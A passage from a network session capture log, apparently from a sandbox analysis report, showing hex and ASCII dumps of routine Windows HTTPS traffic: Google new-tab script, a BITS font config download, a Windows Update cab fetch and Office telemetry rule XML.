2024-11-30 08:44:09 UTC	431	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 39 32 2c 33 37 30 30 39 34 32 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700292,3700942,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-11-30 08:44:09 UTC	243	IN	Data Raw: 65 64 0d 0a 65 71 69 64 5c 75 30 30 33 64 65 3b 61 2e 42 5b 65 5d 5c 75 30 30 33 64 64 3b 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 62 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 63 2c 64 2c 21 31 29 3a 62 5c 75 30 30 32 36 5c 75 30 30 32 36 62 2e 61 74 74 61 63 68 45 76 65 6e 74 3f 62 2e 61 74 74 61 63 68 45 76 65 6e 74 28 5c 22 6f 6e 5c 22 2b 63 2c 64 29 3a 61 2e 6f 2e 6c 6f 67 28 45 72 72 6f 72 28 5c 22 42 60 5c 22 2b 62 29 29 7d 7d 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 41 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 0d 0a Data Ascii: edeqid\u003de;a.B[e]\u003dd;b\u0026\u0026b.addEventListener?b.addEventListener(c,d,!1):b\u0026\u0026b.attachEvent?b.attachEvent(\"on\"+c,d):a.o.log(Error(\"B`\"+b))}};\n}catch(e){_._DumpException(e)}\ntry{\nvar Ad\u003ddocument.querySelect
2024-11-30 08:44:09 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 42 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 52 63 5c 22 29 3b 41 64 5c 75 30 30 32 36 5c 75 30 30 32 36 21 42 64 5c 75 30 30 32 36 5c 75 30 30 32 36 5f 2e 7a 64 28 5f 2e 6a 64 2c 41 64 2c 5c 22 63 6c 69 63 6b 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 5f 2e 43 64 5c 75 30 30 33 64 74 79 70 65 6f 66 20 41 73 79 6e 63 43 6f 6e 74 65 78 74 21 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 75 6e 64 65 66 69 6e 65 64 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 41 73 79 6e 63 43 6f 6e 74 65 78 74 2e 53 6e 61 Data Ascii: 8000or(\".gb_I .gb_A\"),Bd\u003ddocument.querySelector(\"#gb.gb_Rc\");Ad\u0026\u0026!Bd\u0026\u0026_.zd(_.jd,Ad,\"click\");\n}catch(e){_._DumpException(e)}\ntry{\n_.Cd\u003dtypeof AsyncContext!\u003d\u003d\"undefined\"\u0026\u0026typeof AsyncContext.Sna
2024-11-30 08:44:09 UTC	1390	IN	Data Raw: 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 53 64 2c 66 65 2c 52 64 2c 54 64 2c 59 64 3b 5f 2e 50 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 51 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 28 21 61 29 72 65 74 75 72 6e 3b 61 5c 75 30 30 33 64 2b 61 7d 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 Data Ascii: _DumpException(e)}\ntry{\nvar Sd,fe,Rd,Td,Yd;_.Pd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Qd\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if(!a)return;a\u003d+a}if(typeof a\u0
2024-11-30 08:44:09 UTC	1390	IN	Data Raw: 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 51 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 50 64 28 5f 2e 4a 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 64 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 65 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 Data Ascii: 03dfunction(a,b){return _.Qd(_.Jc(a,b))};_.S\u003dfunction(a,b){return _.Pd(_.Jc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.vb(_.de(a,b),c)};_.ee\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.ge\u003dfunction(a,b){return a.lastIndexOf(b,0)\u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49736	142.250.181.68	443	2908	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:08 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-30 08:44:09 UTC	933	IN	HTTP/1.1 200 OK Version: 700238841 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Sat, 30 Nov 2024 08:44:09 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-30 08:44:09 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-30 08:44:09 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49746	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:13 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-30 08:44:13 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=64544 Date: Sat, 30 Nov 2024 08:44:13 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49750	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:15 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-11-30 08:44:15 UTC	535	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Last-Modified: Tue, 16 May 2017 22:58:00 GMT ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-Azure-Ref: 0WwMRYwAAAABe7whxSEuqSJRuLqzPsqCaTE9OMjFFREdFMTcxNQBjZWZjMjU4My1hOWIyLTQ0YTctOTc1NS1iNzZkMTdlMDVmN2Y= Cache-Control: public, max-age=124311 Date: Sat, 30 Nov 2024 08:44:15 GMT Content-Length: 55 Connection: close X-CID: 2
2024-11-30 08:44:15 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49753	4.245.163.56	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9mLVmDo2tdp7sUT&MD=tTC+sUGa HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-30 08:44:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 8c750d8c-77cb-450b-a654-69b0ef476fe1 MS-RequestId: c461dc6a-9f4c-4ead-a4fe-aac06a2792f6 MS-CV: EahuwO5DVEaQdSpn.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 30 Nov 2024 08:44:17 GMT Connection: close Content-Length: 24490
2024-11-30 08:44:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-30 08:44:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.4	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 08:44:56 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 08:44:56 UTC	471	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 08:44:56 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Wed, 27 Nov 2024 15:11:14 GMT ETag: "0x8DD0EF5BC53602D" x-ms-request-id: e1f881b2-601e-0097-3aa2-42f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T084456Z-174f78459684db9fhC1EWRc7g4000000014g000000007wkv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 08:44:56 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-30 08:44:57 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-30 08:44:57 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-30 08:44:57 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-30 08:44:57 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-30 08:44:57 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-30 08:44:57 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-30 08:44:57 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
